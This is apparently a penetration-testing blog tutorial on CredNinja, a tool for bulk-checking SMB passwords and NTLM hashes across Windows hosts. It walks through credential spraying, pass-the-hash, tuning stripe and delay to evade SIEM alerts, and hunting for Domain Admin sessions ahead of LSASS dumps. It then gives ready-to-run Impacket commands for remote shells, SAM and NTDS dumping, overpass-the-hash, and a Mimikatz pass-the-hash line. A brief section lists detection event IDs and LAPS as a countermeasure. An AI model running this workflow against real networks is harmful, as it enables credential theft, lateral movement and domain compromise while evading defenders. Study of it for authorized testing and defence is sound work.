windows

CredNinja: Validate SMB Credentials with NTLM Passwords and Hashes

CredNinja: Validate SMB Credentials with NTLM Passwords and Hashes

Use CredNinja to validate passwords and NTLM hashes via SMB, find local admin, perform Pass-the-Hash and user hunting, and reduce lockouts with stripe and delay.

  • Posted on 2026-08-21
  • Reading time: 6 min

CredNinja: Pentesting and Credential Validation on SMB Networks #

CredNinja is a multithreaded Python tool that bulk checks whether credentials (passwords or NTLM hashes) are valid on a list of Windows hosts, testing SMB authentication , and reporting where to get local admin. It evolved from CredSwissArmy, a work by Chris King (@raikiasec).

For comparison with the most used tool today for the same purpose: NetExec on HackIta


How it works internally #

Three steps, in order:

  1. SMB session setup + NTLM authentication — CredNinja opens an SMB session to the host and attempts to authenticate with the credential (password or hash).
  2. Authentication result —If the server refuses, the credential is invalid on that host. If it accepts, you're logged in with a valid token.
  3. Mount of C$ —at this point try to mount the administrative share. Successfully authenticate and mount C$ These are two different things: you can be a valid domain user without being a local admin. Only a successful mount confirms elevated privileges.

This distinction — successful authentication ≠ administrative privileges — is the key concept to understand before using any bulk validation tool, not just CredNinja.


Installation #

bash
git clone https://github.com/Raikia/CredNinja.git
cd CredNinja
python3 CredNinja.py -h

Runs natively on Kali, requires pth-smbclient for pass-the-hash — already included in the Kali repositories.


Complete table of options #

FlagDescription
-afile or single credential value to test
-starget host file or single value
-tnumber of parallel threads (default 10)
--ntlmtreat password as NTLM hash → pass-the-hash
--validshow only valid results
--invalidshow only invalid results
-owrites the results to a file
-pcustom delimiter between user and password (default) :)
--scancheck first that 445 is open
--scan-timeoutcontrol timeout 445 (default 2s)
--stripeeach credential tested on a single random host
--delayrandom delay between retries (seconds + jitter)
--timeoutresponse wait timeout (default 15s)
--osrecovers the target OS without extra requests
--domainretrieves the target's primary domain
--usersUser Hunter Mode — Find where users are logged in
--users-timeFilter users logged in in the last N days (default 100)
--no-colordisable colored output

Basic syntax #

bash
python3 CredNinja.py -a accounts_to_test.txt -s systems_to_test.txt

Account file format, one line per credential:

text
CONTOSO\jrossi:Password123!
CONTOSO\amariani:Estate2024!

Host file format — IP, hostname, CIDR or directly output from a nmap -oG:

bash
nmap -p445 --open -oG smb_hosts.gnmap 10.10.10.0/24
python3 CredNinja.py -a accounts.txt -s smb_hosts.gnmap

Phase 0 — Verify host before scanning #

--scan Check 445 before queuing the host — avoid wasting threads on powered-off or filtered machines.

bash
python3 CredNinja.py -a accounts.txt -s hosts.txt --scan
python3 CredNinja.py -a accounts.txt -s hosts.txt --scan --scan-timeout 3

Phase 1 — Credential Validation #

Key output to read:

  • credential rejected → invalid
  • credential accepted, C$ mount failed → valid, unprivileged user
  • Credential accepted, C$ mount successful → local admin

With clear password #

bash
python3 CredNinja.py -a accounts.txt -s hosts.txt

Pass the Hash #

The LM hash aad3b435b51404eeaad3b435b51404ee it's always the same on modern systems, the one after the : It's the NTLM—that's what matters. Full discussion: Pass-the-Hash on HackIta

bash
python3 CredNinja.py -a hashes.txt -s hosts.txt --ntlm

Hash file in the same format as the password file:

text
CONTOSO\svc_backup:aad3b435b51404eeaad3b435b51404ee:5f4dcc3b5aa765d61d8327deb882cf99

Filter only useful results #

bash
python3 CredNinja.py -a accounts.txt -s hosts.txt --valid
python3 CredNinja.py -a accounts.txt -s hosts.txt --invalid

Save the output #

bash
python3 CredNinja.py -a accounts.txt -s hosts.txt -o risultati.txt

Change the user:password delimiter #

bash
python3 CredNinja.py -a accounts.txt -s hosts.txt -p ";"

Threads and timeouts #

bash
python3 CredNinja.py -a accounts.txt -s hosts.txt -t 30
python3 CredNinja.py -a accounts.txt -s hosts.txt --timeout 10

Phase 2 — Stealth: –stripe and –delay #

Testing 50 credentials against 200 hosts without filters generates tens of thousands of authentication events in minutes — a password spray pattern recognizable by any SIEM configured with decent thresholds (Event ID 4625 in bursts on the same set of accounts).

Stripe — one credential, one random host #

--stripe Test each credential on a single randomly selected host, rather than all of them. No system receives repeated attempts from the same account.

bash
python3 CredNinja.py -a accounts.txt -s hosts.txt --stripe

Delay — breaking the time pattern #

--delay SECONDS %JITTER inserts a delay between one attempt and the next, of duration equal to SECONDS with a random variation equal to %JITTER.

bash
python3 CredNinja.py -a accounts.txt -s hosts.txt --stripe --delay 10 20

10 seconds baseline ± 20% jitter (8-12 seconds) between attempts.

Full stealth combo #

bash
python3 CredNinja.py -a accounts.txt -s hosts.txt --scan --stripe --delay 15 25 -t 5 -o risultati.txt

Fewer threads, active striping, jittery delay, output saved for offline review — low profile for engagement where blue team detection is part of the test.


Phase 3 — Additional information without extra requests #

bash
python3 CredNinja.py -a accounts.txt -s hosts.txt --os
python3 CredNinja.py -a accounts.txt -s hosts.txt --domain
python3 CredNinja.py -a accounts.txt -s hosts.txt --os --domain

Phase 4 — User Hunter #

--users Finds where users are logged in on the network — useful for identifying where a Domain Admin has an active session before pointing an LSASS dump there.

bash
python3 CredNinja.py -a accounts.txt -s hosts.txt --users
python3 CredNinja.py -a accounts.txt -s hosts.txt --users --users-time 30

--users-time 30 Filter only users logged in in the last 30 days (default 100).


Limitations and prerequisites #

Things that can stop you before you even start:

  • SMB Signing required on the target → authentication may still succeed, but some subsequent operations (relays) become impossible
  • Account Lockout Policy → without --stripe/--delay risks of blocking real accounts on a large scale
  • LAPS → unique local admin password per host, a hash valid on one machine is not valid on the others
  • Protected Users / Credential Guard → prevents NTLM cache in memory, reduces surface area for pass-the-hash
  • NTLM disabled (Kerberos only) → --ntlm It doesn't work, you need to overpass-the-hash (see Step 5)
  • Windows Firewall with 445 block on entry → CredNinja doesn't even see the door, --scan report it immediately

Most common NTSTATUS during validation #

Full official reference: Microsoft NTSTATUS values

CodeMeaning
STATUS_LOGON_FAILUREincorrect credential
STATUS_ACCOUNT_LOCKED_OUTaccount blocked for too many attempts
STATUS_ACCESS_DENIEDauthenticated but without permissions on the requested resource
STATUS_ACCOUNT_DISABLEDexisting but deactivated account
STATUS_PASSWORD_EXPIREDvalid but expired password, it must be changed
STATUS_LOGON_TYPE_NOT_GRANTEDuser not authorized for that logon type (e.g. network logon denied via GPO)

LOLBins before CredNinja #

Before installing an external tool, check what you already have natively:

powershell
# Windows nativo — test di una singola credenziale su una share
net use \\10.10.10.10\C$ /user:CONTOSO\jrossi Password123!
powershell
# PowerShell — loop di validazione su più host senza binari esterni
$hosts = Get-Content hosts.txt
foreach ($h in $hosts) {
    $cred = New-Object System.Management.Automation.PSCredential("CONTOSO\jrossi", (ConvertTo-SecureString "Password123!" -AsPlainText -Force))
    if (Test-Path "\\$h\C$" -Credential $cred) { Write-Output "$h -> valido" }
}

Useful when the environment has AppLocker or blocks unsigned binaries. CredNinja comes into play when the scale (hundreds of hosts) makes these loops too slow to manage manually.


CredNinja vs NetExec #

CredNinja has been out of service since 2018 (latest build v2.3, January 2018) and only works over SMB. Today, the standard for the same task is NetExec, which is actively maintained and multi-protocol (SMB, LDAP, WinRM, RDP, MSSQL).

Equivalent NetExec command:

bash
netexec smb hosts.txt -u accounts.txt -p passwords.txt --continue-on-success

CredNinja is still worth knowing: its easy-to-read source code is excellent for understanding how SMB validation works before relying on more complex tools. Complete guide: NetExec on HackIta


Step 5 — Exploit the Found Credential #

CredNinja tells you where your local admin is located. From there, the real offensive phase begins with Impacket.

Interactive shell (creates a service, noisier but full-access) #

bash
psexec.py -hashes :5f4dcc3b5aa765d61d8327deb882cf99 CONTOSO/svc_backup@10.10.10.50

Semi-interactive shell via WMI (more stealthy, no services created on disk) #

bash
wmiexec.py -hashes :5f4dcc3b5aa765d61d8327deb882cf99 CONTOSO/svc_backup@10.10.10.50

Shell via remote service without binary on disk #

bash
smbexec.py -hashes :5f4dcc3b5aa765d61d8327deb882cf99 CONTOSO/svc_backup@10.10.10.50

SAM/LSA dump on newly confirmed admin host #

bash
secretsdump.py -hashes :5f4dcc3b5aa765d61d8327deb882cf99 CONTOSO/svc_backup@10.10.10.50

If the confirmed host is the DC, same command but with -just-dc For full NTDS dump:

bash
secretsdump.py -hashes :5f4dcc3b5aa765d61d8327deb882cf99 CONTOSO/svc_backup@10.10.10.10 -just-dc

Overpass-the-hash — from the NT hash to a Kerberos TGT #

Useful when NTLM is restricted or logged more aggressively than Kerberos :

bash
getTGT.py -dc-ip 10.10.10.10 CONTOSO/svc_backup -hashes :5f4dcc3b5aa765d61d8327deb882cf99
export KRB5CCNAME=svc_backup.ccache
wmiexec.py -k -no-pass CONTOSO/svc_backup@dc01.contoso.local

Pass-the-hash from Windows with Mimikatz (if you're running from a compromised Windows host) #

Full article: Mimikatz on HackIta

text
sekurlsa::pth /user:svc_backup /domain:contoso.local /ntlm:5f4dcc3b5aa765d61d8327deb882cf99

Opens a new process with the passed credential token — use it to launch psexec.exe o net use from there.


Quick Detection (Event ID to check if defending) #

text
4625  -> logon falliti, stesso account su più host in poco tempo
4624 tipo 3 -> network logon verso C$ da una sorgente su molti target
4740  -> lockout multipli ravvicinati

Practical countermeasure: LAPS to make reuse of local admin hashes between hosts useless.


Operational Workflow #

text
Nmap (scoperta 445)
      ↓
CredNinja (validazione credenziali)
      ↓
Host validi
      ↓
Admin locali confermati
      ↓
wmiexec.py / psexec.py
      ↓
secretsdump.py
      ↓
Pass-the-Hash / Overpass-the-Hash
      ↓
Lateral Movement

MITRE ATT & CK #

Complete matrix: MITER ATT&CK Enterprise

TacticsTechnology
CredentialAccessT1110.003 — Password Spraying
CredentialAccessT1550.002 — Pass the Hash
DiscoveryT1135 — Network Share Discovery
lateral movementT1021.002 — SMB/Windows Admin Shares
Defense EvasionT1078 — Valid Accounts

Operational checklist #

text
[ ] Scan preliminare 445 — --scan
[ ] Verifica password policy del dominio prima di validare su larga scala
[ ] Validazione credenziali — con o senza --ntlm
[ ] Se serve stealth → --stripe + --delay
[ ] Filtra risultati utili — --valid
[ ] Estrai OS/dominio extra — --os --domain
[ ] User hunter su host con sessioni admin — --users
[ ] Salva output per revisione — -o
[ ] Su ogni host confermato admin -> wmiexec.py / secretsdump.py
[ ] Se target è DC -> secretsdump.py -just-dc
[ ] Valuta NetExec se serve più di SMB

FAQ #

Does CredNinja work with NTLM hashes? Yes with --ntlm treats the supplied string as a hash and passes the hash automatically, without needing the cleartext password.

Is it still a viable tool in 2026? To understand the concepts, yes. For real-world operational use, NetExec is preferable, as it's actively maintained and has multi-protocol support.

Do I need to install any special dependencies? On Kali Linux it runs out-of-the-box. For pass-the-hash it is needed pth-smbclient, included by default in the Kali repositories.

Can CredNinja block accounts for too many failed attempts? Yes, like any mass validation tool. Without --stripe or delay, a domain with an aggressive lockout policy may lock out tested accounts.


CredNinja Guide — original repository: github.com/Raikia/CredNinja . For more on Active Directory: AD Guide on HackIta

#credninja #smb #pth

#CredNinja #smb #ntlm #CredentialValidation #Pass-the-Hash #PasswordSpraying #LateralMovement

leave a message

I'm not a robot